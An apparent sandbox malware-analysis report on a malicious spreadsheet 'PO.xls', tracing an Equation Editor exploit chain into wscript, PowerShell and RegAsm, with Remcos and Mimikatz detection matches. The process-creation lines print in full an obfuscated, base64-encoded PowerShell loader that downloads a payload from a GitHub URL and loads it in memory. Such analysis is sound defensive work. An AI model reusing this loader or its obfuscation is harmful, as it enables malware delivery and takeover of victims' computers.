Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3940, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C899BC08.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winXLS@13/32@191/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

16_2_0041798D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

16_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

16_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

16_2_0041AADB

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\62830000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-M3P7YT

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR86DB.tmp

Source: PO.xls	OLE indicator, Workbook stream: true
Source: 62830000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: PO.xls

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepicturewithyourebodygreen.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
